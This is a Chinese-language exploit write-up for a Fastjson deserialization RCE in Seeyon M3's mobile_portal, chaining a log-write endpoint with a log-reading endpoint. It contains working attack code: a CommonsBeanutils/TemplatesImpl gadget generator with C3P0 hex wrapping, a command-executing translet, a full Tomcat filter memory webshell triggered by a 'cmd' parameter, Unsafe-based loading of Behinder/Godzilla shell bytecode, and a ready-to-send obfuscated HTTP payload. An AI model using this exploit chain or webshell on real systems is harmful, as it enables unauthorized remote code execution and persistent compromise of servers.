这个漏洞是今年国家护网爆出来,虽然漏洞类型是个Fastjson漏洞,但个人认为漏洞的具体细节也是挺有趣的。
分为两步,第一步是通过/mobile_portal/api/pns/message/send/batch/6_1sp1
接口将我们的payload存入日志里面,然后通过/mobile_portal/api/systemLog/pns/loadLog/app.log
接口会将日志中的JSON数据进行反序列化,从而触发Fastjson漏洞。
在这个项目中,获取路由的方式是@PATH
的注解或者xxxResource
的类名
进入到/message/send/batch/6_1sp1
路由
跟入M3PushMessageTask.getInstance()
,获取一个M3PushMessageTask
实例
Thread.start()
方法会开启一个线程,当然AsynchronizedSendTask
继承了Runnable
,就会执行run方法
在该方法中,就是获取addMessageAll
添加进去的message,然后调用sendMessageByV61sp1
方法
在sendMessageByV61sp1
方法,会根据我们传入的message中的serviceProvider
获取对应的PushPublisher
在payload中,我们赋值"serviceProvider":"baidu"
,进入BaiduPushPublisher
getPushService
也就是获取BaiduPushPublisher实例
Payload的"deviceType":"androidphone"
,进入sendAndroidMessage方法
这个方法中就是漏洞的重点了
代码直接结束后,它会直接将我们message的userMessageId
直接写到我们的日志中(所以我们fastjson漏洞触发的部分就需要放到userMessageId
)
我们查看日志,JSON数据放在/logs_pns/app.log
中
接口就是/mobile_portal/api/systemLog/pns/loadLog/app.log
读取日志中内容,然后调用setLogList
setLogList
方法,直接就调用JSON.Util.parseJSONString()
触发漏洞
触发的调用栈
at org.apache.commons.beanutils.BeanComparator.compare(BeanComparator.java:171) at java.util.PriorityQueue.siftDownUsingComparator(PriorityQueue.java:722) at java.util.PriorityQueue.siftDown(PriorityQueue.java:688) at java.util.PriorityQueue.heapify(PriorityQueue.java:737) at java.util.PriorityQueue.readObject(PriorityQueue.java:797) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:498) at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1170) at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2178) at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2069) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1573) at java.io.ObjectInputStream.readObject(ObjectInputStream.java:431) at com.mchange.v2.ser.SerializableUtils.deserializeFromByteArray(SerializableUtils.java:132) at com.mchange.v2.ser.SerializableUtils.fromByteArray(SerializableUtils.java:111) at com.mchange.v2.c3p0.impl.C3P0ImplUtils.parseUserOverridesAsString(C3P0ImplUtils.java:341) at com.mchange.v2.c3p0.WrapperConnectionPoolDataSource$1.vetoableChange(WrapperConnectionPoolDataSource.java:95) at java.beans.VetoableChangeSupport.fireVetoableChange(VetoableChangeSupport.java:375) at java.beans.VetoableChangeSupport.fireVetoableChange(VetoableChangeSupport.java:271) at com.mchange.v2.c3p0.impl.WrapperConnectionPoolDataSourceBase.setUserOverridesAsString(WrapperConnectionPoolDataSourceBase.java:344) at Fastjson_ASM_WrapperConnectionPoolDataSource_8.deserialze(Unknown Source) at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:249) at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:124) at com.alibaba.fastjson.parser.deserializer.ASMJavaBeanDeserializer.deserialze(ASMJavaBeanDeserializer.java:31) at Fastjson_ASM_PushMessage_1.deserialze(Unknown Source) at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:500) at com.alibaba.fastjson.JSON.parseObject(JSON.java:214) at com.alibaba.fastjson.JSON.parseObject(JSON.java:174) at com.alibaba.fastjson.JSON.parseObject(JSON.java:295) at com.seeyon.portal.core.utils.JSONUtil.parseJSONString(JSONUtil.java:83) at com.seeyon.portal.rest.resources.LogResource.setLogList(LogResource.java:163) at com.seeyon.portal.rest.resources.LogResource.readLog(LogResource.java:112) at com.seeyon.portal.rest.resources.LogResource.loadLog(LogResource.java:55)
这个漏洞的思路挺好的,利用将传入的数据到日志里,然后通过日志读取的接口对日志内容进行Fastjson的反序列化,从而达到RCE。
注意的是:
JSON.parseObject(jsonString,PushMessage.class) 这种是不能触发Fastjson的
我们利用C3P0依赖的利用Fastjson加载HEX编码,实现二次反序列化,打RCE
反序列化部分,可以利用CB链去打TemplateImpl加载字节码的
同时因为第一步传入的需要是个List
类型,所以需要在JSON数据外面加个[]
生成反序列化的部分
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.beanutils.BeanComparator; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.io.StringWriter; import java.lang.reflect.Field; import java.util.PriorityQueue; public class M3Payload { static void addHexAscii(byte b, StringWriter sw) { int ub = b & 0xff; int h1 = ub / 16; int h2 = ub % 16; sw.write(toHexDigit(h1)); sw.write(toHexDigit(h2)); } private static char toHexDigit(int h) { char out; if (h <= 9) out = (char) (h + 0x30); else out = (char) (h + 0x37); return out; } //字节数组转十六进制 public static String toHexAscii(byte[] bytes) { int len = bytes.length; StringWriter sw = new StringWriter(len * 2); for (int i = 0; i < len; ++i) addHexAscii(bytes[i], sw); return sw.toString(); } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.get(Serialize_Evil.class.getName()); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", new byte[][]{ctClass.toBytecode()}); setFieldValue(templates, "_name", "123"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); BeanComparator beanComparator = new BeanComparator("outputProperties"); PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator); setFieldValue(priorityQueue, "queue", new Object[]{templates, templates}); setFieldValue(priorityQueue, "size", 2); ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(priorityQueue); System.out.println(toHexAscii(baos.toByteArray())); } }
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; public class Serialize_Evil extends AbstractTranslet { public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {} public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} public Serialize_Evil() throws Exception { super(); Runtime.getRuntime().exec("ping xxxxx"); } }
如果要打一个filter内存马
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.apache.catalina.Context; import org.apache.catalina.core.ApplicationFilterConfig; import org.apache.catalina.core.StandardContext; import org.apache.tomcat.util.descriptor.web.FilterDef; import org.apache.tomcat.util.descriptor.web.FilterMap; import javax.servlet.*; import javax.servlet.http.HttpServletRequest; import java.io.IOException; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.Map; public class Serialize_FilterMemshell extends AbstractTranslet implements Filter{ private final String cmdParamName = "cmd"; private final static String filterUrlPattern = "/filter"; private final static String filterName = "TestFilter"; static { try { //获取StandardContext Class c = Class.forName("org.apache.catalina.core.StandardContext"); java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context"); contextField.setAccessible(true); org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext()); Field stdctx = applicationContext.getClass().getDeclaredField("context"); // 获取属性 stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); //获取filterConfigs Field Configs = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext); if (filterConfigs.get(filterName) == null){ Filter filter=new Serialize_FilterMemshell(); FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(filterName); filterDef.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/filter"); filterMap.setFilterName(filterName); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); filterConfigs.put(filterName,filterConfig); if (standardContext != null){ //将我们的filter放到最前面 Class ccc = null; try { ccc = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); } catch (Throwable t){} if (ccc == null) { try { ccc = Class.forName("org.apache.catalina.deploy.FilterMap"); } catch (Throwable t){} } Method m = c.getMethod("findFilterMaps"); Object[] filterMaps = (Object[]) m.invoke(standardContext); Object[] tmpFilterMaps = new Object[filterMaps.length]; int index = 1; for (int i = 0; i < filterMaps.length; i++) { Object o = filterMaps[i]; m = ccc.getMethod("getFilterName"); String name = (String) m.invoke(o); if (name.equalsIgnoreCase(filterName)) { tmpFilterMaps[0] = o; } else { tmpFilterMaps[index++] = filterMaps[i]; } } for (int i = 0; i < filterMaps.length; i++) { filterMaps[i] = tmpFilterMaps[i]; } } } } catch (Exception e){ e.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; System.out.println("Do Filter ......"); String cmd; if ((cmd = servletRequest.getParameter(cmdParamName)) != null && servletRequest.getParameter("flag").equals("qwer")) { Process process = Runtime.getRuntime().exec(cmd); java.io.BufferedReader bufferedReader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line + '\n'); } servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); servletResponse.getOutputStream().flush(); servletResponse.getOutputStream().close(); return; } filterChain.doFilter(servletRequest, servletResponse); } @Override public void destroy() { } }
但是实战中更常用的是打一个冰蝎马或者哥斯拉马,我们利用JMG工具生成对应的字节码,然后直接加载字节码即可。
String str = "xxxxx"; byte[] bytes = Base64.getDecoder().decode(str); Field theUnsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe"); theUnsafe.setAccessible(true); Unsafe unsafe = (Unsafe)theUnsafe.get(null); unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), bytes, null).newInstance();
https://mp.weixin.qq.com/s/9TsQhLcTSVDYW3usG1j5Xw
对于unicode字符,FastJSON会自动处理解析的
POST /mobile_portal/api/pns/message/send/batch/6_1sp1 HTTP/1.1
Host: User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: Hm_lvt_82116c626a8d504a5c0675073362ef6f=1666334057
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/json
Content-Length: 3680
[{"userMessageId":"{\"@\u0074\u0079\u0070\u0065\":\"\u0063\u006f\u006d\u002e\u006d\u0063\u0068\u0061\u006e\u0067\u0065\u002e\u0076\u0032\u002e\u0063\u0033\u0070\u0030\u002e\u0057\u0072\u0061\u0070\u0070\u0065\u0072\u0043\u006f\u006e\u006e\u0065\u0063\u0074\u0069\u006f\u006e\u0050\u006f\u006f\u006c\u0044\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\",\"\u0075\u0073\u0065\u0072\u004f\u0076\u0065\u0072\u0072\u0069\u0064\u0065\u0073\u0041\u0073\u0053\u0074\u0072\u0069\u006e\u0067\":\"\u0048\u0065\u0078\u0041\u0073\u0063\u0069\u0069\u0053\u0065\u0072\u0069\u0061\u006c\u0069\u007a\u0065\u0064\u004d\u0061\u0070:HEX;\"}|","channelId":"111","title":"111","content":"222","deviceType":"androidphone","serviceProvider":"baidu","deviceFirm":"other"}]
然后再 Get 访问/mobile_portal/api/systemLog/pns/loadLog/app.log